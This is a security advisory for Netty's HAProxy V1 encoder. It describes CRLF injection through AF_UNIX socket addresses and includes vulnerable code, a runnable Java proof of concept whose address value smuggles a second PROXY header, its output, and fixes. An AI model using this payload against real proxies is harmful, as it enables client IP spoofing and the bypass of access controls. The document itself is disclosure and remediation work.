GHSA-WH89-7897-X99H

Vulnerability from github – Published: 2026-07-22 21:51 – Updated: 2026-07-22 21:51
VLAI
Summary
Netty: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address
Details

Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address in Netty

1. Vulnerability Summary

Field Value
Product Netty
Version 4.2.12.Final (and all prior versions with codec-haproxy)
Component io.netty.handler.codec.haproxy.HAProxyMessageEncoder
Vulnerability Type CWE-93: Improper Neutralization of CRLF Sequences
Impact HAProxy PROXY Protocol Injection / Client IP Spoofing
CVSS 3.1 Score 7.5 (High)
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

2. Affected Components

  • io.netty.handler.codec.haproxy.HAProxyMessageEncoderencodeV1() method (lines 63-77): writes sourceAddress and destinationAddress directly to output without CRLF validation
  • io.netty.handler.codec.haproxy.HAProxyMessage — constructor checkAddress() validates IPv4/IPv6 format but only checks length for AF_UNIX (line 439)

3. Vulnerability Description

Netty's HAProxy protocol encoder writes AF_UNIX socket addresses directly into the HAProxy V1 text protocol format without validating for CRLF characters. The V1 protocol uses CRLF (\r\n) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header.

Root Cause — Encoder

// HAProxyMessageEncoder.java:63-77
private static void encodeV1(HAProxyMessage msg, ByteBuf out) {
    out.writeBytes(TEXT_PREFIX);                                    // "PROXY "
    out.writeByte((byte) ' ');
    out.writeCharSequence(msg.proxiedProtocol().name(), US_ASCII); // "UNIX_STREAM"
    out.writeByte((byte) ' ');
    out.writeCharSequence(msg.sourceAddress(), US_ASCII);           // <-- NO CRLF CHECK
    out.writeByte((byte) ' ');
    out.writeCharSequence(msg.destinationAddress(), US_ASCII);      // <-- NO CRLF CHECK
    out.writeByte((byte) ' ');
    // ...
    out.writeByte((byte) '\r');
    out.writeByte((byte) '\n');
}

Root Cause — Insufficient Address Validation

// HAProxyMessage.java:428-442
private static void checkAddress(String address, AddressFamily addrFamily) {
    switch (addrFamily) {
        case AF_UNIX:
            ObjectUtil.checkNotNull(address, "address");
            if (address.getBytes(CharsetUtil.US_ASCII).length > 108) {
                throw new IllegalArgumentException("invalid AF_UNIX address: " + address);
            }
            return;  // ONLY checks length <= 108, NO CRLF validation!
        case AF_IPv4:
            if (!NetUtil.isValidIpV4Address(address)) { ... }  // Format check blocks CRLF
        case AF_IPv6:
            if (!NetUtil.isValidIpV6Address(address)) { ... }  // Format check blocks CRLF
    }
}

IPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But AF_UNIX addresses only check length <= 108 — any characters including CRLF are accepted.

4. Exploitability Prerequisites

This vulnerability is exploitable when:

  1. An application uses Netty's HAProxyMessageEncoder to construct HAProxy V1 protocol headers
  2. AF_UNIX (UNIX_STREAM or UNIX_DGRAM) addresses contain user-controlled input
  3. The encoded PROXY header is sent to a downstream server or load balancer

Affected use cases: - PROXY protocol relays that construct AF_UNIX messages from upstream data - Load balancer integrations where socket paths come from configuration or external sources - Multi-tenant proxies that dynamically construct PROXY headers

5. Attack Scenario

Client IP Spoofing via Second PROXY Line Injection

String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";

HAProxyMessage msg = new HAProxyMessage(
    HAProxyProtocolVersion.V1,
    HAProxyCommand.PROXY,
    HAProxyProxiedProtocol.UNIX_STREAM,
    maliciousAddr,                    // CRLF-injected source address
    "/var/run/dest.sock",
    0, 0);

Wire format sent to backend:

PROXY UNIX_STREAM /var/run/app.sock
PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0

The backend receives two PROXY lines. Depending on implementation: - HAProxy: may use the first line and ignore the second - Other implementations: may use the second line, treating the connection as TCP4 from 10.0.0.1 - This enables client IP spoofing — the backend believes the client is 10.0.0.1 when it's not

6. Proof of Concept

Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java)

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.haproxy.*;
import java.nio.charset.StandardCharsets;

public class HAProxyUnixCRLFPoC {
    public static void main(String[] args) {
        System.out.println("=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\n");

        String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";
        String destAddr = "/var/run/dest.sock";

        HAProxyMessage msg = new HAProxyMessage(
            HAProxyProtocolVersion.V1,
            HAProxyCommand.PROXY,
            HAProxyProxiedProtocol.UNIX_STREAM,
            maliciousAddr, destAddr, 0, 0);

        EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE);
        ch.writeOutbound(msg);

        ByteBuf out = ch.readOutbound();
        String encoded = out.toString(StandardCharsets.UTF_8);
        out.release();
        ch.finishAndReleaseAll();

        System.out.println("Wire format:");
        for (String line : encoded.split("\n", -1)) {
            System.out.println("  " + line.replace("\r", "\\r"));
        }

        int proxyCount = 0;
        for (String line : encoded.split("\r\n")) {
            if (line.startsWith("PROXY")) proxyCount++;
        }
        System.out.println("PROXY lines: " + proxyCount);
        System.out.println("VULNERABLE: " + (proxyCount > 1 ? "YES" : "NO"));
    }
}

How to Compile and Run

JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
  | grep -v sources | grep -v javadoc | tr '\n' ':')
javac -cp "$JARS" HAProxyUnixCRLFPoC.java
java -cp "$JARS:." HAProxyUnixCRLFPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty HAProxy AF_UNIX CRLF Injection PoC ===

[TEST 1] AF_UNIX Source Address CRLF Injection
------------------------------------------------
  Source address: "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80"
  Wire format:
    PROXY UNIX_STREAM /var/run/app.sock\r
    PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\r

  PROXY lines found: 2
  VULNERABLE: YES - Second PROXY line injected!

7. Remediation Recommendations

Option 1: Validate AF_UNIX Addresses for CRLF

// HAProxyMessage.java checkAddress() - add for AF_UNIX:
case AF_UNIX:
    ObjectUtil.checkNotNull(address, "address");
    byte[] addrBytes = address.getBytes(CharsetUtil.US_ASCII);
    if (addrBytes.length > 108) {
        throw new IllegalArgumentException("invalid AF_UNIX address: too long");
    }
    for (byte b : addrBytes) {
        if (b == '\r' || b == '\n') {
            throw new IllegalArgumentException(
                "AF_UNIX address contains prohibited CRLF character");
        }
    }
    return;

Option 2: Validate in Encoder

// HAProxyMessageEncoder.java encodeV1() - validate before writing:
private static void validateV1Address(String address) {
    for (int i = 0; i < address.length(); i++) {
        char c = address.charAt(i);
        if (c == '\r' || c == '\n' || c == ' ') {
            throw new HAProxyProtocolException(
                "V1 address contains prohibited character at index " + i);
        }
    }
}

8. References

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-haproxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.16.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-haproxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.136.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59919"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T21:51:40Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-haproxy) |\n| **Component** | `io.netty.handler.codec.haproxy.HAProxyMessageEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences |\n| **Impact** | HAProxy PROXY Protocol Injection / Client IP Spoofing |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n\n## 2. Affected Components\n\n- `io.netty.handler.codec.haproxy.HAProxyMessageEncoder` \u2014 `encodeV1()` method (lines 63-77): writes `sourceAddress` and `destinationAddress` directly to output without CRLF validation\n- `io.netty.handler.codec.haproxy.HAProxyMessage` \u2014 constructor `checkAddress()` validates IPv4/IPv6 format but **only checks length for AF_UNIX** (line 439)\n\n## 3. Vulnerability Description\n\nNetty\u0027s HAProxy protocol encoder writes AF_UNIX socket addresses directly into the HAProxy V1 text protocol format **without validating for CRLF characters**. The V1 protocol uses CRLF (`\\r\\n`) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header.\n\n### Root Cause \u2014 Encoder\n\n```java\n// HAProxyMessageEncoder.java:63-77\nprivate static void encodeV1(HAProxyMessage msg, ByteBuf out) {\n    out.writeBytes(TEXT_PREFIX);                                    // \"PROXY \"\n    out.writeByte((byte) \u0027 \u0027);\n    out.writeCharSequence(msg.proxiedProtocol().name(), US_ASCII); // \"UNIX_STREAM\"\n    out.writeByte((byte) \u0027 \u0027);\n    out.writeCharSequence(msg.sourceAddress(), US_ASCII);           // \u003c-- NO CRLF CHECK\n    out.writeByte((byte) \u0027 \u0027);\n    out.writeCharSequence(msg.destinationAddress(), US_ASCII);      // \u003c-- NO CRLF CHECK\n    out.writeByte((byte) \u0027 \u0027);\n    // ...\n    out.writeByte((byte) \u0027\\r\u0027);\n    out.writeByte((byte) \u0027\\n\u0027);\n}\n```\n\n### Root Cause \u2014 Insufficient Address Validation\n\n```java\n// HAProxyMessage.java:428-442\nprivate static void checkAddress(String address, AddressFamily addrFamily) {\n    switch (addrFamily) {\n        case AF_UNIX:\n            ObjectUtil.checkNotNull(address, \"address\");\n            if (address.getBytes(CharsetUtil.US_ASCII).length \u003e 108) {\n                throw new IllegalArgumentException(\"invalid AF_UNIX address: \" + address);\n            }\n            return;  // ONLY checks length \u003c= 108, NO CRLF validation!\n        case AF_IPv4:\n            if (!NetUtil.isValidIpV4Address(address)) { ... }  // Format check blocks CRLF\n        case AF_IPv6:\n            if (!NetUtil.isValidIpV6Address(address)) { ... }  // Format check blocks CRLF\n    }\n}\n```\n\nIPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But **AF_UNIX addresses only check `length \u003c= 108`** \u2014 any characters including CRLF are accepted.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses Netty\u0027s `HAProxyMessageEncoder` to construct HAProxy V1 protocol headers\n2. AF_UNIX (`UNIX_STREAM` or `UNIX_DGRAM`) addresses contain user-controlled input\n3. The encoded PROXY header is sent to a downstream server or load balancer\n\n**Affected use cases**:\n- PROXY protocol relays that construct AF_UNIX messages from upstream data\n- Load balancer integrations where socket paths come from configuration or external sources\n- Multi-tenant proxies that dynamically construct PROXY headers\n\n## 5. Attack Scenario\n\n### Client IP Spoofing via Second PROXY Line Injection\n\n```java\nString maliciousAddr = \"/var/run/app.sock\\r\\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80\";\n\nHAProxyMessage msg = new HAProxyMessage(\n    HAProxyProtocolVersion.V1,\n    HAProxyCommand.PROXY,\n    HAProxyProxiedProtocol.UNIX_STREAM,\n    maliciousAddr,                    // CRLF-injected source address\n    \"/var/run/dest.sock\",\n    0, 0);\n```\n\n**Wire format sent to backend**:\n```\nPROXY UNIX_STREAM /var/run/app.sock\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\n```\n\nThe backend receives **two PROXY lines**. Depending on implementation:\n- HAProxy: may use the first line and ignore the second\n- Other implementations: may use the **second** line, treating the connection as TCP4 from `10.0.0.1`\n- This enables **client IP spoofing** \u2014 the backend believes the client is `10.0.0.1` when it\u0027s not\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.haproxy.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HAProxyUnixCRLFPoC {\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\\n\");\n\n        String maliciousAddr = \"/var/run/app.sock\\r\\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80\";\n        String destAddr = \"/var/run/dest.sock\";\n\n        HAProxyMessage msg = new HAProxyMessage(\n            HAProxyProtocolVersion.V1,\n            HAProxyCommand.PROXY,\n            HAProxyProxiedProtocol.UNIX_STREAM,\n            maliciousAddr, destAddr, 0, 0);\n\n        EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE);\n        ch.writeOutbound(msg);\n\n        ByteBuf out = ch.readOutbound();\n        String encoded = out.toString(StandardCharsets.UTF_8);\n        out.release();\n        ch.finishAndReleaseAll();\n\n        System.out.println(\"Wire format:\");\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\"));\n        }\n\n        int proxyCount = 0;\n        for (String line : encoded.split(\"\\r\\n\")) {\n            if (line.startsWith(\"PROXY\")) proxyCount++;\n        }\n        System.out.println(\"PROXY lines: \" + proxyCount);\n        System.out.println(\"VULNERABLE: \" + (proxyCount \u003e 1 ? \"YES\" : \"NO\"));\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\njavac -cp \"$JARS\" HAProxyUnixCRLFPoC.java\njava -cp \"$JARS:.\" HAProxyUnixCRLFPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\n\n[TEST 1] AF_UNIX Source Address CRLF Injection\n------------------------------------------------\n  Source address: \"/var/run/app.sock\\r\\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80\"\n  Wire format:\n    PROXY UNIX_STREAM /var/run/app.sock\\r\n    PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\\r\n\n  PROXY lines found: 2\n  VULNERABLE: YES - Second PROXY line injected!\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Validate AF_UNIX Addresses for CRLF\n\n```java\n// HAProxyMessage.java checkAddress() - add for AF_UNIX:\ncase AF_UNIX:\n    ObjectUtil.checkNotNull(address, \"address\");\n    byte[] addrBytes = address.getBytes(CharsetUtil.US_ASCII);\n    if (addrBytes.length \u003e 108) {\n        throw new IllegalArgumentException(\"invalid AF_UNIX address: too long\");\n    }\n    for (byte b : addrBytes) {\n        if (b == \u0027\\r\u0027 || b == \u0027\\n\u0027) {\n            throw new IllegalArgumentException(\n                \"AF_UNIX address contains prohibited CRLF character\");\n        }\n    }\n    return;\n```\n\n### Option 2: Validate in Encoder\n\n```java\n// HAProxyMessageEncoder.java encodeV1() - validate before writing:\nprivate static void validateV1Address(String address) {\n    for (int i = 0; i \u003c address.length(); i++) {\n        char c = address.charAt(i);\n        if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027 || c == \u0027 \u0027) {\n            throw new HAProxyProtocolException(\n                \"V1 address contains prohibited character at index \" + i);\n        }\n    }\n}\n```\n\n## 8. References\n\n- [HAProxy PROXY Protocol v1 Specification](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)",
  "id": "GHSA-wh89-7897-x99h",
  "modified": "2026-07-22T21:51:40Z",
  "published": "2026-07-22T21:51:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-wh89-7897-x99h"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…